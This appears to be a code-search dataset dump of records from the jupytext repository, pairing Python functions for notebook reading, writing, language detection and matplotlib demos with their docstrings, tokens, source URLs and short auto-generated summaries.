eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L122-L131
train
Filter the cell or notebook metadata according to the user preference
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/languages.py
default_language_from_metadata_and_ext
def default_language_from_metadata_and_ext(metadata, ext): """Return the default language given the notebook metadata, and a file extension""" default_from_ext = _SCRIPT_EXTENSIONS.get(ext, {}).get('language', 'python') language = (metadata.get('jupytext', {}).get('main_language') or metada...
python
def default_language_from_metadata_and_ext(metadata, ext): """Return the default language given the notebook metadata, and a file extension""" default_from_ext = _SCRIPT_EXTENSIONS.get(ext, {}).get('language', 'python') language = (metadata.get('jupytext', {}).get('main_language') or metada...
[ "def", "default_language_from_metadata_and_ext", "(", "metadata", ",", "ext", ")", ":", "default_from_ext", "=", "_SCRIPT_EXTENSIONS", ".", "get", "(", "ext", ",", "{", "}", ")", ".", "get", "(", "'language'", ",", "'python'", ")", "language", "=", "(", "met...
Return the default language given the notebook metadata, and a file extension
[ "Return", "the", "default", "language", "given", "the", "notebook", "metadata", "and", "a", "file", "extension" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L22-L33
train
Return the default language given the notebook metadata and a file extension
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/languages.py
set_main_and_cell_language
def set_main_and_cell_language(metadata, cells, ext): """Set main language for the given collection of cells, and use magics for cells that use other languages""" main_language = (metadata.get('kernelspec', {}).get('language') or metadata.get('jupytext', {}).get('main_language') or ...
python
def set_main_and_cell_language(metadata, cells, ext): """Set main language for the given collection of cells, and use magics for cells that use other languages""" main_language = (metadata.get('kernelspec', {}).get('language') or metadata.get('jupytext', {}).get('main_language') or ...
[ "def", "set_main_and_cell_language", "(", "metadata", ",", "cells", ",", "ext", ")", ":", "main_language", "=", "(", "metadata", ".", "get", "(", "'kernelspec'", ",", "{", "}", ")", ".", "get", "(", "'language'", ")", "or", "metadata", ".", "get", "(", ...
Set main language for the given collection of cells, and use magics for cells that use other languages
[ "Set", "main", "language", "for", "the", "given", "collection", "of", "cells", "and", "use", "magics", "for", "cells", "that", "use", "other", "languages" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L36-L65
train
Set main language for the given collection of cells and cell language for the given extension.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/languages.py
cell_language
def cell_language(source): """Return cell language and language options, if any""" if source: line = source[0] if line.startswith('%%'): magic = line[2:] if ' ' in magic: lang, magic_args = magic.split(' ', 1) else: lang = magic...
python
def cell_language(source): """Return cell language and language options, if any""" if source: line = source[0] if line.startswith('%%'): magic = line[2:] if ' ' in magic: lang, magic_args = magic.split(' ', 1) else: lang = magic...
[ "def", "cell_language", "(", "source", ")", ":", "if", "source", ":", "line", "=", "source", "[", "0", "]", "if", "line", ".", "startswith", "(", "'%%'", ")", ":", "magic", "=", "line", "[", "2", ":", "]", "if", "' '", "in", "magic", ":", "lang",...
Return cell language and language options, if any
[ "Return", "cell", "language", "and", "language", "options", "if", "any" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L68-L84
train
Return cell language and language options if any
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/languages.py
comment_lines
def comment_lines(lines, prefix): """Return commented lines""" if not prefix: return lines return [prefix + ' ' + line if line else prefix for line in lines]
python
def comment_lines(lines, prefix): """Return commented lines""" if not prefix: return lines return [prefix + ' ' + line if line else prefix for line in lines]
[ "def", "comment_lines", "(", "lines", ",", "prefix", ")", ":", "if", "not", "prefix", ":", "return", "lines", "return", "[", "prefix", "+", "' '", "+", "line", "if", "line", "else", "prefix", "for", "line", "in", "lines", "]" ]
Return commented lines
[ "Return", "commented", "lines" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L87-L91
train
Return commented lines
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/stringparser.py
StringParser.read_line
def read_line(self, line): """Read a new line""" if self.ignore: return for i, char in enumerate(line): if char not in ['"', "'"]: continue # Is the char escaped? if line[i - 1:i] == '\\': continue if s...
python
def read_line(self, line): """Read a new line""" if self.ignore: return for i, char in enumerate(line): if char not in ['"', "'"]: continue # Is the char escaped? if line[i - 1:i] == '\\': continue if s...
[ "def", "read_line", "(", "self", ",", "line", ")", ":", "if", "self", ".", "ignore", ":", "return", "for", "i", ",", "char", "in", "enumerate", "(", "line", ")", ":", "if", "char", "not", "in", "[", "'\"'", ",", "\"'\"", "]", ":", "continue", "# ...
Read a new line
[ "Read", "a", "new", "line" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/stringparser.py#L21-L55
train
Read a new line from the database.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
demo/Matplotlib example.py
filled_hist
def filled_hist(ax, edges, values, bottoms=None, orientation='v', **kwargs): """ Draw a histogram as a stepped patch. Extra kwargs are passed through to `fill_between` Parameters ---------- ax : Axes The axes to plot to edges : array A length n+1 array givi...
python
def filled_hist(ax, edges, values, bottoms=None, orientation='v', **kwargs): """ Draw a histogram as a stepped patch. Extra kwargs are passed through to `fill_between` Parameters ---------- ax : Axes The axes to plot to edges : array A length n+1 array givi...
[ "def", "filled_hist", "(", "ax", ",", "edges", ",", "values", ",", "bottoms", "=", "None", ",", "orientation", "=", "'v'", ",", "*", "*", "kwargs", ")", ":", "print", "(", "orientation", ")", "if", "orientation", "not", "in", "set", "(", "'hv'", ")",...
Draw a histogram as a stepped patch. Extra kwargs are passed through to `fill_between` Parameters ---------- ax : Axes The axes to plot to edges : array A length n+1 array giving the left edges of each bin and the right edge of the last bin. values : array A l...
[ "Draw", "a", "histogram", "as", "a", "stepped", "patch", "." ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/demo/Matplotlib example.py#L23-L81
train
Draw a histogram as a stepped patch.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
demo/Matplotlib example.py
stack_hist
def stack_hist(ax, stacked_data, sty_cycle, bottoms=None, hist_func=None, labels=None, plot_func=None, plot_kwargs=None): """ ax : axes.Axes The axes to add artists too stacked_data : array or Mapping A (N, M) shaped array. The first dimension will be iterated...
python
def stack_hist(ax, stacked_data, sty_cycle, bottoms=None, hist_func=None, labels=None, plot_func=None, plot_kwargs=None): """ ax : axes.Axes The axes to add artists too stacked_data : array or Mapping A (N, M) shaped array. The first dimension will be iterated...
[ "def", "stack_hist", "(", "ax", ",", "stacked_data", ",", "sty_cycle", ",", "bottoms", "=", "None", ",", "hist_func", "=", "None", ",", "labels", "=", "None", ",", "plot_func", "=", "None", ",", "plot_kwargs", "=", "None", ")", ":", "# deal with default bi...
ax : axes.Axes The axes to add artists too stacked_data : array or Mapping A (N, M) shaped array. The first dimension will be iterated over to compute histograms row-wise sty_cycle : Cycler or operable of dict Style to apply to each set bottoms : array, optional T...
[ "ax", ":", "axes", ".", "Axes", "The", "axes", "to", "add", "artists", "too" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/demo/Matplotlib example.py#L84-L178
train
This function creates a new histogram for the given data.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/__init__.py
load_jupyter_server_extension
def load_jupyter_server_extension(app): # pragma: no cover """Use Jupytext's contents manager""" if isinstance(app.contents_manager_class, TextFileContentsManager): app.log.info("[Jupytext Server Extension] NotebookApp.contents_manager_class is " "(a subclass of) jupytext.TextFileC...
python
def load_jupyter_server_extension(app): # pragma: no cover """Use Jupytext's contents manager""" if isinstance(app.contents_manager_class, TextFileContentsManager): app.log.info("[Jupytext Server Extension] NotebookApp.contents_manager_class is " "(a subclass of) jupytext.TextFileC...
[ "def", "load_jupyter_server_extension", "(", "app", ")", ":", "# pragma: no cover", "if", "isinstance", "(", "app", ".", "contents_manager_class", ",", "TextFileContentsManager", ")", ":", "app", ".", "log", ".", "info", "(", "\"[Jupytext Server Extension] NotebookApp.c...
Use Jupytext's contents manager
[ "Use", "Jupytext", "s", "contents", "manager" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/__init__.py#L18-L55
train
Load the contents manager and components for the current server extension.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/jupytext.py
reads
def reads(text, fmt, as_version=4, **kwargs): """Read a notebook from a string""" fmt = copy(fmt) fmt = long_form_one_format(fmt) ext = fmt['extension'] if ext == '.ipynb': return nbformat.reads(text, as_version, **kwargs) format_name = read_format_from_metadata(text, ext) or fmt.get('...
python
def reads(text, fmt, as_version=4, **kwargs): """Read a notebook from a string""" fmt = copy(fmt) fmt = long_form_one_format(fmt) ext = fmt['extension'] if ext == '.ipynb': return nbformat.reads(text, as_version, **kwargs) format_name = read_format_from_metadata(text, ext) or fmt.get('...
[ "def", "reads", "(", "text", ",", "fmt", ",", "as_version", "=", "4", ",", "*", "*", "kwargs", ")", ":", "fmt", "=", "copy", "(", "fmt", ")", "fmt", "=", "long_form_one_format", "(", "fmt", ")", "ext", "=", "fmt", "[", "'extension'", "]", "if", "...
Read a notebook from a string
[ "Read", "a", "notebook", "from", "a", "string" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L181-L209
train
Read a notebook from a string
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/jupytext.py
read
def read(file_or_stream, fmt, as_version=4, **kwargs): """Read a notebook from a file""" fmt = long_form_one_format(fmt) if fmt['extension'] == '.ipynb': notebook = nbformat.read(file_or_stream, as_version, **kwargs) rearrange_jupytext_metadata(notebook.metadata) return notebook ...
python
def read(file_or_stream, fmt, as_version=4, **kwargs): """Read a notebook from a file""" fmt = long_form_one_format(fmt) if fmt['extension'] == '.ipynb': notebook = nbformat.read(file_or_stream, as_version, **kwargs) rearrange_jupytext_metadata(notebook.metadata) return notebook ...
[ "def", "read", "(", "file_or_stream", ",", "fmt", ",", "as_version", "=", "4", ",", "*", "*", "kwargs", ")", ":", "fmt", "=", "long_form_one_format", "(", "fmt", ")", "if", "fmt", "[", "'extension'", "]", "==", "'.ipynb'", ":", "notebook", "=", "nbform...
Read a notebook from a file
[ "Read", "a", "notebook", "from", "a", "file" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L212-L220
train
Read a notebook from a file
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/jupytext.py
readf
def readf(nb_file, fmt=None): """Read a notebook from the file with given name""" if nb_file == '-': text = sys.stdin.read() fmt = fmt or divine_format(text) return reads(text, fmt) _, ext = os.path.splitext(nb_file) fmt = copy(fmt or {}) fmt.update({'extension': ext}) w...
python
def readf(nb_file, fmt=None): """Read a notebook from the file with given name""" if nb_file == '-': text = sys.stdin.read() fmt = fmt or divine_format(text) return reads(text, fmt) _, ext = os.path.splitext(nb_file) fmt = copy(fmt or {}) fmt.update({'extension': ext}) w...
[ "def", "readf", "(", "nb_file", ",", "fmt", "=", "None", ")", ":", "if", "nb_file", "==", "'-'", ":", "text", "=", "sys", ".", "stdin", ".", "read", "(", ")", "fmt", "=", "fmt", "or", "divine_format", "(", "text", ")", "return", "reads", "(", "te...
Read a notebook from the file with given name
[ "Read", "a", "notebook", "from", "the", "file", "with", "given", "name" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L223-L234
train
Read a notebook from the file with given name
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/jupytext.py
writes
def writes(notebook, fmt, version=nbformat.NO_CONVERT, **kwargs): """Write a notebook to a string""" metadata = deepcopy(notebook.metadata) rearrange_jupytext_metadata(metadata) fmt = copy(fmt) fmt = long_form_one_format(fmt, metadata) ext = fmt['extension'] format_name = fmt.get('format_nam...
python
def writes(notebook, fmt, version=nbformat.NO_CONVERT, **kwargs): """Write a notebook to a string""" metadata = deepcopy(notebook.metadata) rearrange_jupytext_metadata(metadata) fmt = copy(fmt) fmt = long_form_one_format(fmt, metadata) ext = fmt['extension'] format_name = fmt.get('format_nam...
[ "def", "writes", "(", "notebook", ",", "fmt", ",", "version", "=", "nbformat", ".", "NO_CONVERT", ",", "*", "*", "kwargs", ")", ":", "metadata", "=", "deepcopy", "(", "notebook", ".", "metadata", ")", "rearrange_jupytext_metadata", "(", "metadata", ")", "f...
Write a notebook to a string
[ "Write", "a", "notebook", "to", "a", "string" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L237-L263
train
Write a notebook to a string
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/jupytext.py
write
def write(notebook, file_or_stream, fmt, version=nbformat.NO_CONVERT, **kwargs): """Write a notebook to a file""" # Python 2 compatibility text = u'' + writes(notebook, fmt, version, **kwargs) file_or_stream.write(text) # Add final newline #165 if not text.endswith(u'\n'): file_or_stream...
python
def write(notebook, file_or_stream, fmt, version=nbformat.NO_CONVERT, **kwargs): """Write a notebook to a file""" # Python 2 compatibility text = u'' + writes(notebook, fmt, version, **kwargs) file_or_stream.write(text) # Add final newline #165 if not text.endswith(u'\n'): file_or_stream...
[ "def", "write", "(", "notebook", ",", "file_or_stream", ",", "fmt", ",", "version", "=", "nbformat", ".", "NO_CONVERT", ",", "*", "*", "kwargs", ")", ":", "# Python 2 compatibility", "text", "=", "u''", "+", "writes", "(", "notebook", ",", "fmt", ",", "v...
Write a notebook to a file
[ "Write", "a", "notebook", "to", "a", "file" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L266-L273
train
Write a notebook to a file
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/jupytext.py
writef
def writef(notebook, nb_file, fmt=None): """Write a notebook to the file with given name""" if nb_file == '-': write(notebook, sys.stdout, fmt) return _, ext = os.path.splitext(nb_file) fmt = copy(fmt or {}) fmt = long_form_one_format(fmt, update={'extension': ext}) create_pref...
python
def writef(notebook, nb_file, fmt=None): """Write a notebook to the file with given name""" if nb_file == '-': write(notebook, sys.stdout, fmt) return _, ext = os.path.splitext(nb_file) fmt = copy(fmt or {}) fmt = long_form_one_format(fmt, update={'extension': ext}) create_pref...
[ "def", "writef", "(", "notebook", ",", "nb_file", ",", "fmt", "=", "None", ")", ":", "if", "nb_file", "==", "'-'", ":", "write", "(", "notebook", ",", "sys", ".", "stdout", ",", "fmt", ")", "return", "_", ",", "ext", "=", "os", ".", "path", ".", ...
Write a notebook to the file with given name
[ "Write", "a", "notebook", "to", "the", "file", "with", "given", "name" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L276-L289
train
Write a notebook to the file with given name
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/jupytext.py
create_prefix_dir
def create_prefix_dir(nb_file, fmt): """Create directory if fmt has a prefix""" if 'prefix' in fmt: nb_dir = os.path.dirname(nb_file) + os.path.sep if not os.path.isdir(nb_dir): logging.log(logging.WARNING, "[jupytext] creating missing directory %s", nb_dir) os.makedirs(n...
python
def create_prefix_dir(nb_file, fmt): """Create directory if fmt has a prefix""" if 'prefix' in fmt: nb_dir = os.path.dirname(nb_file) + os.path.sep if not os.path.isdir(nb_dir): logging.log(logging.WARNING, "[jupytext] creating missing directory %s", nb_dir) os.makedirs(n...
[ "def", "create_prefix_dir", "(", "nb_file", ",", "fmt", ")", ":", "if", "'prefix'", "in", "fmt", ":", "nb_dir", "=", "os", ".", "path", ".", "dirname", "(", "nb_file", ")", "+", "os", ".", "path", ".", "sep", "if", "not", "os", ".", "path", ".", ...
Create directory if fmt has a prefix
[ "Create", "directory", "if", "fmt", "has", "a", "prefix" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L292-L298
train
Create directory if no prefix exists
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/jupytext.py
TextNotebookConverter.update_fmt_with_notebook_options
def update_fmt_with_notebook_options(self, metadata): """Update format options with the values in the notebook metadata, and record those options in the notebook metadata""" # format options in notebook have precedence over that in fmt for opt in _VALID_FORMAT_OPTIONS: if opt...
python
def update_fmt_with_notebook_options(self, metadata): """Update format options with the values in the notebook metadata, and record those options in the notebook metadata""" # format options in notebook have precedence over that in fmt for opt in _VALID_FORMAT_OPTIONS: if opt...
[ "def", "update_fmt_with_notebook_options", "(", "self", ",", "metadata", ")", ":", "# format options in notebook have precedence over that in fmt", "for", "opt", "in", "_VALID_FORMAT_OPTIONS", ":", "if", "opt", "in", "metadata", ".", "get", "(", "'jupytext'", ",", "{", ...
Update format options with the values in the notebook metadata, and record those options in the notebook metadata
[ "Update", "format", "options", "with", "the", "values", "in", "the", "notebook", "metadata", "and", "record", "those", "options", "in", "the", "notebook", "metadata" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L31-L43
train
Update the format options with the values in the notebook metadata and record those those options in the notebook metadata
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/jupytext.py
TextNotebookConverter.reads
def reads(self, s, **_): """Read a notebook represented as text""" if self.fmt.get('format_name') == 'pandoc': return md_to_notebook(s) lines = s.splitlines() cells = [] metadata, jupyter_md, header_cell, pos = header_to_metadata_and_cell(lines, ...
python
def reads(self, s, **_): """Read a notebook represented as text""" if self.fmt.get('format_name') == 'pandoc': return md_to_notebook(s) lines = s.splitlines() cells = [] metadata, jupyter_md, header_cell, pos = header_to_metadata_and_cell(lines, ...
[ "def", "reads", "(", "self", ",", "s", ",", "*", "*", "_", ")", ":", "if", "self", ".", "fmt", ".", "get", "(", "'format_name'", ")", "==", "'pandoc'", ":", "return", "md_to_notebook", "(", "s", ")", "lines", "=", "s", ".", "splitlines", "(", ")"...
Read a notebook represented as text
[ "Read", "a", "notebook", "represented", "as", "text" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L45-L90
train
Reads a notebook represented as text
